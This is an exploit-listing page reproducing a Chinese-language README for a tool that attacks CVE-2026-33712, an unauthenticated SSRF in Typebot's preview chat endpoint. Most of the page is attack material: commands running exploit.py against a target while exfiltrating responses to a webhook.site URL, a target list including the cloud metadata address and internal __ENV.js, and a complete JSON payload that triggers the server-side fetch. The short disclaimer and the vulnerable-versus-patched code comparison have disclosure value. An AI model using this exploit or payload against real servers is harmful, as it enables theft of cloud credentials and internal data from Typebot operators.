Sploitus

Exploit for CVE-2026-33712

kitploit · 2026-08-31

Exploit Code

MARKDOWN157 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PORTBUSTER1337-CVE-2026-33712
# CVE-2026-33712 - Typebot 未认证 SSRF

## 描述

**Typebot <= 3.15.2**(在 3.16.0 中修复)存在一个未认证的服务器端请求伪造(SSRF)漏洞,位于预览聊天端点。

**端点:** `POST /api/v1/typebots/{typebotId}/preview/startChat`

预览端点接受用户提供的 typebot 定义,其中包含服务器端代码块。在 `isolated-vm` 沙箱内暴露的 `fetch()` 函数调用了 Node.js 原生 fetch,**没有** 使用常规 HTTP 请求块所使用的 `validateHttpReqUrl()` SSRF 验证。这绕过了所有 SSRF 防护措施。

## 免责声明

本工具仅用于教育目的和授权的安全测试。未经授权针对您不拥有或未获得明确许可的系统进行测试是违法的。作者不对因使用本工具造成的任何滥用或损害负责。

## 影响

  * 云凭据窃取(AWS IMDS、GCP 元数据、Azure IMDS)
  * 内部网络访问 Docker 容器和私有子网
  * 从内部服务窃取数据
  * 通过 `__ENV.js` 泄露 SMTP_FROM / 管理员邮箱



## 文件

文件| 描述  
---|---  
`exploit.py`| 主漏洞利用脚本  
`endpoints.txt`| 每行一个 URL — 要扫描的 SSRF 目标  
`requirements.txt`| Python 依赖  
  
## 使用方法

root@kitploit:~
    
    
    pip install -r requirements.txt
    
    # 单个 SSRF 请求
    python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
    
    # 扫描 endpoints.txt 中的所有 URL
    python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
    
    # 从构建器的 __ENV.js 自动检测查看器 URL
    python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
    
    # 跳过预检并强制执行
    python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
    

## 参数

## 行为

  1. **自动协议** — 如果您输入 `bot.example.com` 而没有 `http://`,会自动添加。
  2. **预检** — 在任何请求之前,脚本会探测目标并将其分类为 `vulnerable`(存在漏洞)、`patched`(已修复,需要验证)或 `endpoint_missing`(错误的 URL/版本)。除非设置了 `--force`,否则失败时提前退出。
  3. **扫描模式** — 读取 `endpoints.txt`,遍历每个 URL,将内容外泄至 Webhook。
  4. **外泄** — 内容以 POST 请求体形式发送到 Webhook URL(而不是作为查询参数),避免 URL 长度限制。



## endpoints.txt

每行一个原始 URL。空白行被忽略。没有注释,没有分类。

root@kitploit:~
    
    
    http://127.0.0.1:3000/__ENV.js
    http://typebot-builder:3000/
    http://169.254.169.254/latest/meta-data/
    

## 漏洞代码路径

在 `packages/variables/src/executeFunction.ts` 中,`isolated-vm` 沙箱内暴露的 `fetch()` 原本调用 Node.js 原生 fetch 而没有进行 SSRF 验证:

root@kitploit:~
    
    
    // 存在漏洞 (<=3.15.2):
    globalThis.fetch = (...args) => $0.apply(undefined, args, {
      new Reference(async (...fetchArgs) => {
        const [input, init] = fetchArgs;
        const res = await fetch(input, init);  // 没有 validateHttpReqUrl!
        return res.text();
      }),
    });
    
    // 已修复 (>=3.16.0):
    globalThis.fetch = (...args) => $0.apply(undefined, args, {
      new Reference(async (...fetchArgs) => {
        const [input, init] = fetchArgs;
        const request = new Request(input, init);
        await validateHttpReqUrl(request.url);  // 添加了 SSRF 检查
        validateHttpReqHeaders(headers);
      }),
    });
    

修复(提交 `d96f572`)还重新调整了 `getTypebot()` 中的检查顺序,使身份验证验证在自定义 typebot 快捷方式**之前** 运行,并将查看器的预览端点从 `procedureWithOptionalUser` 移至 `protectedProcedure`。

## 载荷结构

root@kitploit:~
    
    
    {
      "typebotId": "exploit-id",
      "typebot": {
        "version": "6",
        "id": "exploit-bot",
        "workspaceId": "test",
        "updatedAt": "2026-01-01T00:00:00.000Z",
        "groups": [
          {
            "id": "group-1", "title": "Start",
            "graphCoordinates": {"x": 0, "y": 0},
            "blocks": [
              {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
            ]
          },
          {
            "id": "group-2", "title": "SSRF",
            "graphCoordinates": {"x": 200, "y": 0},
            "blocks": [
              {
                "id": "block-2", "type": "Code",
                "outgoingEdgeId": "edge-2",
                "options": {
                  "name": "SSRF",
                  "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
                  "isExecutedOnClient": false,
                  "isUnsafe": true
                }
              }
            ]
          }
        ],
        "edges": [
          {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
        ],
        "events": [
          {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
        ],
        "variables": [
          {"id": "var-1", "name": "result", "value": null}
        ],
        "settings": {"general": {}},
        "theme": {"general": {}, "chat": {}}
      }
    }
    

**重要提示:** 沙箱内部的 `fetch()` 已经返回了 `.text()` 的结果,因此结果是**字符串** ,而不是 `Response` 对象。